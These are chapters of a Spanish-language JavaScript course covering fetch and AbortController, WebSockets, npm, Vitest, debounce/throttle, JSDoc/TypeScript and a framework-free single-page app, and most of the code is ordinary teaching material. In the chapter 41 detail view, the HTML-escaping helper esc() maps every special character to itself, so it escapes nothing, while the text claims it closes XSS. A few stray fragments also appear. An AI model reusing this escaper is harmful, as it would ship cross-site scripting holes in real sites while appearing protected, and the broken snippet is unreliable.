Intermedio ~15 minEl cliente HTTP nativo completo: errores HTTP reales, cancelación y tiempo real.
GET/POST JSON con manejo honesto de errores
async function pedirJSON(url, opciones = {}) {
const r = await fetch(url, opciones);
if (!r.ok) {
// fetch NO lanza por 404/500: hay que revisar r.ok SIEMPRE
const cuerpo = await r.text().catch(() => "");
throw new Error(`HTTP ${r.status} ${r.statusText}: ${cuerpo.slice(0, 120)}`);
}
return r.json();
}
const producto = await pedirJSON("/api/productos/CAF-01");
await fetch("/api/pedidos", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ sku: "CAF-01", cantidad: 2 }),
});
AbortController: timeout y cancelación
// timeout manual en 8s
function conTimeout(url, ms = 8000) {
const control = new AbortController();
const t = setTimeout(() => control.abort(), ms);
return fetch(url, { signal: control.signal }).finally(() => clearTimeout(t));
}
// cancelar al salir de una pantalla (React/Vue lo exigen para evitar setState fantasma)
let controlActual;
async function buscar(q) {
controlActual?.abort(); // la busqueda anterior ya no interesa
controlActual = new AbortController();
try {
return await pedirJSON(`/api/buscar?q=${encodeURIComponent(q)}`,
{ signal: controlActual.signal });
} catch (e) {
if (e.name === "AbortError") return []; // cancelada: no es error
throw e;
}
}
Subir archivos y ver el progreso
// envio estandar multipart
const fd = new FormData(form);
fd.append("destino", "facturas");
await fetch("/api/upload", { method: "POST", body: fd }); // sin Content-Type: el navegador pone el boundary
// progreso real leyendo el stream de respuesta
const r = await fetch("/api/reportes/grande.pdf");
const total = +r.headers.get("Content-Length");
let leido = 0;
for await (const chunk of r.body) {
leido += chunk.length;
barra.value = leido / total; // 0..1 — feedback honesto
}
WebSockets: bidireccional
const ws = new WebSocket("wss://tienda.ejemplo.pe/stock");
ws.onopen = () => ws.send(JSON.stringify({ tipo: "suscribir", skus: ["CAF-01"] }));
ws.onmessage = (e) => {
const msg = JSON.parse(e.data); // e.data llega como string (o Blob)
if (msg.tipo === "stock") actualizarBadge(msg.sku, msg.unidades);
};
ws.onclose = () => setTimeout(reconectar, 2000); // reconexion simple
function avisarVenta(sku) { ws.send(JSON.stringify({ tipo: "venta", sku })); }
| Necesidad | Herramienta |
|---|---|
| Petición-respuesta clásica | fetch |
| Servidor empuja eventos simples | fetch + polling o SSE |
| Conversación constante (chat, stock vivo) | WebSocket |
AJAX hoy: GET con parámetros (URLSearchParams)
Lo que antes se llamaba AJAX (pedidos sin recargar la página) hoy es simplemente fetch. El caso más común: pasar parámetros por query string sin romper nada.
// manual y propenso a errores:
const q1 = "/api/productos?busca=" + encodeURIComponent(texto) +
"&pag=" + pag; // los & se escapan a mano...
// URLSearchParams lo hace todo por ti:
const params = new URLSearchParams({
busca: texto, // codifica espacios, ñ, &, acentos...
pag: 2,
orden: "precio",
});
const url = `/api/productos?${params}`;
// → /api/productos?busca=caf%C3%A9&pag=2&orden=precio
const r = await fetch(url);
if (!r.ok) throw new Error(`HTTP ${r.status}`);
const { datos, total } = await r.json();
POST de formularios clásicos (urlencoded)
Cuando el backend espera formularios tradicionales (en PHP,
$_POST), envía
application/x-www-form-urlencoded: se construye desde un FormData.
form.addEventListener("submit", async (e) => {
e.preventDefault();
// FormData recoje todos los campos con name del formulario
const cuerpo = new URLSearchParams(new FormData(form));
const r = await fetch("/api/contacto", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: cuerpo, // nombre=Percy&correo=percy%403soft.pe
});
aviso.textContent = r.ok ? "Enviado" : `Error ${r.status}`;
});
| Envías… | Content-Type | Lo lee PHP con |
|---|---|---|
| URLSearchParams / query string | (GET o urlencoded) | $_GET / $_POST |
| FormData (sin cabecera manual) | multipart/form-data | $_POST + $_FILES |
| JSON.stringify(objeto) | application/json | json_decode(file_get_contents("php://input")) |
Tu API REST del curso PHP usa JSON; un formulario clásico de contacto puede usar urlencoded: mismo fetch, distinto sobre. XMLHttpRequest aún aparece en código legado, pero para código nuevo fetch cubre todo.
Puntos clave
- r.ok se comprueba siempre: 404 NO lanza por sí solo.
- AbortController = timeout + cancelación de búsquedas obsoletas.
- FormData sin Content-Type manual; streams para progreso.
- WebSocket solo cuando hay ida y vuelta continua.
37 · npm y package.json
Intermedio ~14 minEl manifiesto del proyecto, semver sin misterios, scripts con superpoderes y alternativas modernas.
$ cd js-curso
$ npm init -y # genera package.json con defaults
$ npm install vitest # produccion (por defecto)
$ npm install -D prettier # desarrollo (-D = devDependency)
package.json anotado
{
"name": "js-curso",
"version": "1.0.0",
"type": "module",
"scripts": {
"test": "vitest run",
"test:watch": "vitest",
"format": "prettier . --write"
},
"dependencies": {
"idb": "^8.0.0"
},
"devDependencies": {
"vitest": "^3.0.0"
}
}
Semver: qué significa ese ^
| Rango | Permite | Cuándo usarlo |
|---|---|---|
1.4.2 | solo esa versión exacta | paquetes críticos/pequeños sin mantenimiento |
~1.4.2 | parches (1.4.x) | prudencia media |
^1.4.2 | minor compatibles (1.x.y) | el default de npm: razonable |
* / latest | cualquiera | nunca en producción |
El lockfile (package-lock.json) congela el árbol EXACTO instalado: se commitea siempre — es lo que hace tus builds reproducibles.
scripts: atajos con hooks
$ npm test # ejecuta scripts.test
$ npm run format # cualquier otro con run
# hooks automaticos: preX corre antes de X
# "prebuild": "node limpiar.mjs" → npm run build lo ejecuta primero
npx: ejecutar sin instalar global
$ npx serve . # servidor estatico puntual (lo usamos desde el cap. 3)
$ npm audit # reporte de vulnerabilidades conocidas (CI friendly)
pnpm y bun: el mismo contrato, motores nuevos
| Gestor | Fuerza | Comando instalar |
|---|---|---|
| npm | vienen con Node: cero fricción | npm install |
| pnpm | store central: disco y velocidad | pnpm i |
| bun | runtime+gestor+test todo-en-uno, rapidísimo | bun install |
Los tres leen package.json/semver: el proyecto no cambia, solo el motor. Este manual usa npm por universal.
Puntos clave
- -D separa herramientas de desarrollo de dependencias reales.
- ^ minor, ~ patch, exacto para paquetes delicados.
- Lockfile commiteado = builds reproducibles.
- npx ejecuta sin ensuciar globals; npm audit en CI siempre.
38 · Testing con Vitest
Intermedio ~15 minPruebas rápidas y ESM-nativas para las funciones que llevas construyendo desde el capítulo 6.
$ npm install -D vitest
$ npm pkg set scripts.test="vitest run"
Tu primer test: las puras son gratis
// src/dinero.js (del cap. 10)
export const conIgv = monto => Math.round(monto * 1.18 * 100) / 100;
// src/dinero.test.js — convencion: mismo nombre + .test
import { describe, it, expect } from "vitest";
import { conIgv } from "./dinero.js";
describe("conIgv", () => {
it("aplica 18% y redondea a centimos", () => {
expect(conIgv(100)).toBe(118); // toBe: igualdad estricta
});
it("casos borde", () => {
expect(conIgv(0)).toBe(0);
expect(conIgv(12.05)).toBe(14.22);
});
});
| Matcher | Para… |
|---|---|
| toBe / not.toBe | primitivos (===) |
| toEqual | objetos/arrays por contenido |
| toThrow(/regex/) | que LANZA el error correcto |
| toBeCloseTo(n, 2) | flotantes (dinero!) |
| toContain / length | colecciones |
Asíncronas y errores
// parseSeguro devuelve tupla [error, datos] — facil de probar:
it("json invalido da error controlado", () => {
const [err, datos] = parseSeguro("{mal}");
expect(err).toBeInstanceOf(SyntaxError);
expect(datos).toBeNull();
});
// promesas: solo usa await dentro del it
it("reintentar agota intentos", async () => {
const falloSiempre = () => Promise.reject(new Error("caido"));
await expect(reintentar(falloSiempre, 2)).rejects.toThrow("caido");
});
Mocks: aislar el mundo exterior
import { vi } from "vitest";
// espia sobre fetch global: NUNCA llamas a la red en unit tests
const fake = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stock: 7 }),
});
vi.stubGlobal("fetch", fake);
await comprar("CAF-01");
expect(fake).toHaveBeenCalledWith("/api/stock/CAF-01");
expect(fake).toHaveBeenCalledTimes(1);
// temporales falsos: prueba tu retry sin esperar 800ms reales
vi.useFakeTimers(); // ... vi.advanceTimersByTime(800); vi.useRealTimers();
Cobertura y disciplina
$ npx vitest run --coverage # % lineas/ramas cubiertas
$ npm test # en CI: rojo si algo rompe
- Estructura AAA: Arrange (preparar) – Act (ejecutar) – Assert (verificar).
- Puras al 100%; impuras (DOM/red) se prueban con mocks o en fase E2E.
- Un bug encontrado = un test nuevo que lo documenta para siempre.
Puntos clave
- Vitest: ESM nativo, API Jest-compatible, instantáneo.
- Funciones puras = tests triviales; diseña para poderlas probar.
- vi.stubGlobal/vi.fn aíslan red y tiempo.
- La cobertura guía, no gobierna: persigue comportamiento crítico.
39 · Rendimiento: medir, luego optimizar
Avanzado ~14 minDebounce y throttle bien elegidos, rAF para animar y el flujo de profiling honesto.
Debounce vs throttle: la pareja confundida
// DEBOUNCE: espera a que CALME — ideal para busquedas al teclear
function debounce(fn, ms = 300) {
let t;
return (...args) => {
clearTimeout(t);
t = setTimeout(() => fn(...args), ms);
};
}
busqueda.addEventListener("input", debounce(e =>
buscar(e.target.value), 400)); // 1 peticion tras dejar de escribir
// THROTTLE: ritmo maximo fijo — ideal para scroll/mousemove
function throttle(fn, ms = 100) {
let pendiente = false;
return (...args) => {
if (pendiente) return;
pendiente = true;
setTimeout(() => { fn(...args); pendiente = false; }, ms);
};
}
window.addEventListener("scroll", throttle(actualizarBarra, 100));
| Situación | Herramienta |
|---|---|
| Búsqueda mientras escribes | debounce 300–500ms |
| Redimensionar ventana | debounce |
| Scroll infinito / barra de progreso | throttle o rAF |
| Juegos/animaciones continuas | rAF directo |
requestAnimationFrame: el reloj del pintor
// corre ANTES del proximo repaint (~60fps): sincronia perfecta
function animar(t) {
actualizarFisica(t);
dibujar();
requestAnimationFrame(animar); // se auto-reagenda
}
requestAnimationFrame(animar);
// setInterval para animaciones = tirones: ignora los ciclos de pintado
Flujo de profiling en 5 pasos
- Reproduce la lentitud grabando con Performance panel (CPU 4x para emular móvil).
- Halla el bloque rojo más ancho: script? layout? paint?
- Si es Script, el flame chart nombra la función exacta.
- Mucho Layout (morado) ⇒ cap. 32: thrashing o lotes sin fragment.
- Optimiza UNA cosa, vuelve a medir y commitea con números.
Core Web Vitals (lo que Google mide)
- LCP: contenido principal < 2.5s — imágenes hero y fuentes.
- INP: respuesta a interacciones < 200ms — tu event loop limpio (cap. 20).
- CLS: estabilidad visual — reserva espacio de imágenes/anuncios.
Puntos clave
- Medir antes de tocar; Performance panel es la verdad.
- debounce espera calma; throttle impone ritmo máximo.
- rAF para todo lo que se mueve en pantalla.
- LCP/INP/CLS como termómetro externo de tu app.
40 · Tipado gradual: JSDoc y TypeScript
Avanzado ~14 minTipos sin build con JSDoc + @ts-check, y el momento exacto de migrar a TypeScript.
JSDoc: tipos en comentarios, cero herramientas
/**
* Aplica el IGV peruano y redondea a centimos.
* @param {number} monto - base imponible en soles
* @returns {number} total con IGV
*/
export const conIgv = (monto) => Math.round(monto * 1.18 * 100) / 100;
/** @typedef {{ sku: string, nombre: string, precio: number }} Producto */
/**
* @param {Producto[]} items
* @param {(p: Producto) => boolean} criterio
* @returns {Producto[]}
*/
export function filtrar(items, criterio) {
return items.filter(criterio);
}
Añade la primera línea del archivo:
// @ts-check
// ... y VS Code marca errores de tipo SIN build, SIN config, YA.
- Proyecto completo:
"checkJs": trueen jsconfig.json. - Ideal para scripts, bibliotecas pequeñas y proyectos que ya funcionan.
Genéricos ligeros con @template
/**
* @template T
* @param {Promise<T>} promesa
* @returns {Promise<[Error|null, T|null]>}
*/
export async function seguro(promesa) {
try { return [null, await promesa]; }
catch (e) { return [e, null]; }
}
const [err, user] = await seguro(fetch("/api/yo").then(r => r.json()));
// err: Error | null — autocompletado correcto en ambos caminos
¿Cuándo saltar a TypeScript real?
| Señal | JSDoc | TypeScript |
|---|---|---|
| Script o lib pequeña (< 500 líneas) | ✔ suficiente | sobrecosto |
| Equipo > 3 personas / rotación alta | justo | ✔ |
| Framework exige .tsx (React moderno) | no aplica | ✔ obligatorio |
| Dominio complejo que evoluciona | difícil de sostener | ✔ types como diseño |
| Sin pipeline de build deseado | ✔ ventaja clave | requiere tsc/bundler |
La migración mínima honesta
- npm i -D typescript + tsconfig.json con allowJs/checkJs true: TS revisa tu JS actual.
- Rename progresivo .js → .ts módulo por módulo (los test primero).
- strict:true desde el inicio: menos any = menos bugs reales.
- Los JSDoc existentes NO se pierden: TypeScript los entiende nativamente.
Puntos clave
- @ts-check: 80% del beneficio de tipos con 0% de build.
- typedef nombra formas reutilizables; @template generaliza.
- TS cuando escala el equipo o lo exige el framework.
- Migración incremental: checkJs hoy, renames mañana.
41 · Proyecto integrador: SPA sin framework
Avanzado ~20 minRouter propio con History API, store reactivo con Proxy y una API REST real: la del manual de PHP.
Aquí convergen 40 capítulos. Construiremos el frontend de la tienda cuyo
backend construiste en PHP (php_01 cap. 41: Router con regex, PDO,
OUTPUT INSERTED). Mismos endpoints, otro mundo.
Arquitectura en cinco archivos
web/
├── index.html # un solo HTML: el resto son vistas
└── js/
├── api.js # capa HTTP con AbortController
├── store.js # estado global reactivo (Proxy)
├── router.js # History API + regex params
└── vistas/
├── lista.js
└── detalle.js
api.js: HTTP con cancelación
// js/api.js
const BASE = import.meta.env?.DEV ? "http://localhost:8080" : "/api";
async function pedir(ruta, opciones = {}) {
const r = await fetch(BASE + ruta, opciones);
if (!r.ok) throw Object.assign(new Error(`HTTP ${r.status}`), { status: r.status });
return r.status === 204 ? null : r.json();
}
export const api = {
productos: (senal) => pedir("/productos", { signal: senal }),
producto: (sku, senal) => pedir(`/productos/${encodeURIComponent(sku)}`, { signal: senal }),
crear: (datos) =>
pedir("/productos", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(datos),
}),
};
store.js: estado reactivo con Proxy (cap. 17)
// js/store.js
const estado = new Proxy(
{ productos: [], actual: null, cargando: false },
{
set(objetivo, prop, valor) {
objetivo[prop] = valor;
document.dispatchEvent(new CustomEvent("store:cambio", {
detail: { prop, valor },
}));
return true;
},
});
export const store = {
get: () => estado,
set: (prop, valor) => { estado[prop] = valor; },
suscribir(fn) { document.addEventListener("store:cambio", fn); },
};
router.js: URLs bonitas con regex nombrados
// js/router.js — eco directo del Router PHP del manual anterior
const rutas = [
{ patron: /^\/$/, vista: () => import("./vistas/lista.js") },
{ patron: /^\/producto\/(?<sku>[\w-]+)$/, vista: () => import("./vistas/detalle.js") },
];
export async function enrutar() {
const ruta = location.pathname;
for (const r of rutas) {
const m = ruta.match(r.patron);
if (!m) continue;
const modulo = await r.vista(); // code splitting gratis
modulo.defecto(document.querySelector("main"), m.groups);
return;
}
main.innerHTML = "<h2>404</h2>";
}
document.addEventListener("click", (e) => {
const a = e.target.closest("a[data-link]");
if (!a) return;
e.preventDefault(); // SPA: sin recarga
history.pushState({}, "", a.href);
enrutar();
});
addEventListener("popstate", enrutar); // back/forward
Vista detalle: todo junto
// js/vistas/detalle.js
import { api } from "../api.js";
import { store } from "../store.js";
const esc = (t) => String(t).replace(/[&<>"']/g,
c => ({ "&": "&", "<": "<", ">": ">", '"': """, "'": "'" }[c]));
export default async function defecto(main, { sku }) {
try {
const p = await api.producto(sku);
main.innerHTML = `
<article class="producto">
<h2>${esc(p.nombre)}</h2>
<p class="precio">S/ ${esc(p.precio)}</p>
<a data-link href="/">← volver</a>
</article>`;
} catch (e) {
if (e.status === 404) main.innerHTML = "<h2>No existe ese SKU</h2>";
else throw e;
}
}
Access-Control-Allow-Origin. En producción, mismo dominio:
problema resuelto por arquitectura.Puntos clave
- Router propio = regex sobre location.pathname + pushState/popstate.
- Store Proxy + CustomEvent: reactividad sin dependencias.
- import() dinámico por ruta: cada página carga solo su código.
- esc() antes de innerHTML: XSS cerrado también en la SPA.
42 · Rumbo a los frameworks
Meta ~12 minLo que ya sabes hacer a mano es exactamente lo que los frameworks automatizan. Ahora puedes elegir con criterio.
Equivalencias: tu SPA vs. el mundo real
| Construiste (cap. 41) | En React | En Vue |
|---|---|---|
| router.js con regex | React Router | Vue Router |
| store.js con Proxy + CustomEvent | Zustand / Redux | Pinia |
| vistas/*.js con innerHTML | componentes JSX | SFC .vue |
| esc() manual | {llaves} escapan solas | {{bigotes}} escapan solas |
| import() dinámico por ruta | React.lazy | defineAsyncComponent |
| addEventListener en cada render | declarativo (JSX) | declarativo (@click) |
Cómo se diferencian de verdad
- React: re-renderiza componentes y compara árboles (Virtual DOM). Ecosistema gigante, mercado laboral también.
- Vue: reactividad fina por proxies (¡como tu store.js!). Curva amable, documentación excelente.
- Svelte: compila a JS imperativo sin runtime. Menos ecosistema, código mínimo.
Criterios de elección (los honestos)
- El trabajo: qué piden las ofertas de tu ciudad — hoy suele ser React.
- El equipo: framework = convención compartida; vale más que tus preferencias.
- El proyecto: panel interno simple → quizá nada de framework; producto vivo grande → sí.
- Nunca por moda: cada migración cuesta meses reales.
Tu ruta recomendada desde aquí
- Rewritea la SPA del cap. 41 en UN framework (solo uno) midiendo qué desaparece.
- Añade TypeScript con strict (cap. 40) al mismo proyecto.
- Cubre el store y api.js con Vitest (cap. 38): red + mocks.
- Sube todo con la API PHP ya construida: full-stack completo tuyo.
Checklist final de dominio
- Explicas hoisting/closures/this sin apuntes (Partes I–II).
- Diseñas con prototipos y clases sabiendo cuándo cada una (III).
- Depuras promesas, generadores y streams con confianza (IV–V).
- Escribes CLIs y servicios Node con fs/process robustos (VI).
- El navegador te obedece: DOM, eventos, fetch abortable (VII).
- Proyecto profesional: npm, tests, métricas y tipos (VIII).